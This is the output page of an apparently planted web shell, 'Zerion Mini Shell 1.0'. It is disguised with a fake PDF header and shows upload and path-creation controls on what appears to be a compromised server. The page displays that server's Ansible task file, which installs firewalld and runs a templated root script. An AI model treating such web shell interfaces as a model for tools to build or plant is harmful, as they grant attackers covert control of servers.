%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /etc/ansible/roles/common/tasks/
Upload File :
Create Path :
Current File : //etc/ansible/roles/common/tasks/firewalld-executer.yml

---
- name: install firewalld
  yum:
    pkg: firewalld
    state: latest
    update_cache: yes

- name: create temporary file
  shell: mktemp /tmp/XXXXXX_configure.sh
  register: tmp_file

- name: stateless sh-script to temporary file
  template:
    src: templates/iptables/generate_base-centos7.sh.j2
    dest: "{{ tmp_file.stdout }}"
    mode: 0700
    owner: root
    group: root

- name: configure firewalld
  shell: "bash {{ tmp_file.stdout  }}"

- name: delete temporary file
  file:
    path: "{{ tmp_file.stdout }}"
    state: absent


Zerion Mini Shell 1.0